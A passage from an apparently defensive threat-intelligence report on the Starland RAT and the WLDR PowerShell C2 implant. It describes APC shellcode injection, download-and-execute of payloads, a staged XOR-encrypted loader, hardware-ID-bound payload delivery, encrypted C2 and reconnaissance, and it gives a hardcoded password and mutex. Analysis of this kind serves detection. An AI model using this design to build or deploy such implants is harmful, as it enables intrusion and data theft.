0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">using</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>the<span class="Apple-converted-space">&#xA0;</span></span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: windowtext; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">asynchronous procedure<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">call</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>(</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">APC), process</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>injection technique.</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="691034436" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{9}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">x64</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW136684052 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1412581193" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{12}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Receives a 64-bit shellcode URL and executes the<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">s</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">hellcode that is staged using the<span class="Apple-converted-space">&#xA0;</span></span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: windowtext; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">asynchronous procedure<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">call</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>(</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">APC), process injection technique.</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1211175767" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{16}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">download&#xA0;</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW136684052 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1341267601" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{19}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Downloads the<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">payload file to the<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#x201C;</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">%TEMP%</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#x201D;</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>folder and executes it by file extension, supporting EXE, MSI</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, DLL</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">,</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>and ZIP formats with<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">appropriate<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">execution</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>methods.</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="6" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol LastRow SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="156675665" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{23}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">HTTP<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">403</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>response</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW136684052 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1393364865" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{26}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Triggers the self-deletion of the RAT file and exits its process, functioning as a kill switch.&#xA0;</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-5.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1936" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/py-RAT-5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/py-RAT-5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/py-RAT-5.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-5.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;13.&#xA0;Starland RAT command processing function.&#xA0;</span></figcaption></figure><h2 id="windows-shell-command-deploys-bespoke-wldr-agent-c2-implant">Windows&#xA0;shell command deploys&#xA0;bespoke&#xA0;WLDR&#xA0;agent C2&#xA0;implant&#xA0;</h2><p>In the current campaign investigation, Talos discovered that the threat actor executed a&#xA0;<code>curl</code> command to download and execute&#xA0;additional&#xA0;PowerShell script payloads of the WLDR C2 framework from another C2.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/c2-command.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="451" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/c2-command.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/c2-command.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/c2-command.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/c2-command.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 14.&#xA0;curl&#xA0;command to download the WLDR stager.</span></figcaption></figure><h2 id="wldr-stager">WLDR stager&#xA0;</h2><p>The WLDR stager PowerShell script&#xA0;represents&#xA0;the&#xA0;initial&#xA0;stage, where it&#xA0;establishes&#xA0;a loop counter and two&#xA0;boolean&#xA0;flags for execution states. Each state creates a runtime alias for PowerShell command execution, resolving .NET&#xA0;Base64 and byte conversion types through an obfuscated string construction mechanism. It also defines an inline decryption routine that XOR decrypts the next stage, which is the embedded encrypted WLDR downloader PowerShell script, using a dynamically computed XOR key.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Stage-1-ps.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2951" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Stage-1-ps.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Stage-1-ps.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Stage-1-ps.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Stage-1-ps.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 15.&#xA0;Snippet of the WLDR PowerShell stager script.&#xA0;</span></figcaption></figure><h2 id="wldr-downloader">WLDR downloader&#xA0;&#xA0;</h2><p>WLDR downloader is a compact HWID-bound loader script. Upon execution, it derives a hardware identifier from the victim&#x2019;s C: drive volume serial number, converts it from hexadecimal to a decimal number, and appends it to two hardcoded C2 URLs for victim-specific payload delivery and a persistent agent task channel. It then issues an&#xA0;<code>HTTP GET</code>&#xA0;request to the C2, and the C2 server only responds to requests whose HWID matches a pre-registered value. The C2 server response is an encrypted JSON envelope&#xA0;containing&#xA0;fields with a&#xA0;Base64-encoded salt, initialization vector, encrypted data, and authentication tag.&#xA0;</p><p>The WLDR loader processes the JSON response by decrypting the envelope through an inline decryption routine using a derived 64-byte key from a hardcoded plaintext password &#x201C;odg5t8mvssvh&#x201D; and the salt received from the C2 server in the JSON response. This is followed by the decryption of the encrypted data, which is the next stage of the WLDR agent PowerShell C2 memory implant. Before executing the WLDR agent, it writes the C2 URL and the plaintext password into the global PowerShell scope, making both available for the WLDR agent as its C2 address and session encryption key for all&#xA0;subsequent&#xA0;communication with the C2.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Stage-2-PS.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1422" height="982" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Stage-2-PS.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Stage-2-PS.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Stage-2-PS.png 1422w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 16.&#xA0;Snippet of the WLDR PowerShell downloader.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/JSON.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="502" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/JSON.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/JSON.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/JSON.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/JSON.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 17.&#xA0;Sample JSON response from the C2 server.</span></figcaption></figure><h2 id="bespoke-wldr-c2-agent-implant">Bespoke&#xA0;WLDR&#xA0;C2 agent&#xA0;implant&#xA0;</h2><p>The WLDR agent is a fully featured PowerShell remote access client that&#xA0;operates&#xA0;entirely in memory. It implements encrypted C2 communications, concurrent task execution through a managed&#xA0;Runspace&#xA0;engine, and a module delivery framework that provides the threat actor with interactive remote PowerShell execution capabilities on the victim&apos;s machine.&#xA0;</p><p>Upon execution, the agent initializes the server&apos;s URL to a development placeholder and&#xA0;immediately&#xA0;checks for a globally scoped URL and session encryption password that were set by the WLDR loader script. If found, it overwrites the placeholder with the C2 URL and inherits the session encryption password, while also configuring other operational parameters, including polling interval, HTTP timeout, retry counts for the C2 reconnect cycle, and the number of threads for the&#xA0;Runspace&#xA0;pool.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/WLDR_backdoor-1.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="1022" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/WLDR_backdoor-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/WLDR_backdoor-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/WLDR_backdoor-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/WLDR_backdoor-1.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 18.&#xA0;Snippet of the WLDR agent with the configuration parameters.</span></figcaption></figure><p>Before&#xA0;initiating&#xA0;the C2 connectivity, it implements a mutex &#x201C;f2j398fj239d8j23dkkskskkkkkkkkk&#x201D; to prevent duplicate instances and performs a dependency check on the inherited session encryption password. If the password is not found, the agent exits its execution. The network communication is encrypted using AES-256-CBC with HMAC-SHA256 in an&#xA0;encryption,&#xA0;then Message Authentication Code (MAC) construction, with session keys derived through PBKDF2-SHA256 over a randomly generated salt at 5,000 iterations. The protocol version tag WSv1 is bound to every MAC computation, with a new random&#xA0;initialization vector (IV)&#xA0;generated for each message.&#xA0;</p><p>The agent performs reconnaissance via WMI queries, gathering information on antivirus products, network adapter configurations,&#xA0;OS&#xA0;version and build, domain membership, CPU, RAM, administrative privilege status, and UAC policy. A hardware identifier is primarily derived from the C: drive volume serial number; if that fails, it queries the&#xA0;machine&apos;s&#xA0;registry for the GUID or generates a checksum of the host&#xA0;name, which is appended to all C2 URLs. The&#xA0;initial&#xA0;connection to the C2 is&#xA0;established&#xA0;through an&#xA0;<code>HTTP POST</code>&#xA0;that includes the victim machine profile, the infection identifier, protocol version 2.0.0, and the cryptographic session parameters, with a connection retry timing set to 30 seconds. All&#xA0;subsequent&#xA0;traffic is sent to C2 over HTTPS, with headers designed to mimic a Chrome browser session in version 124.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-2.png" class="kg-image" 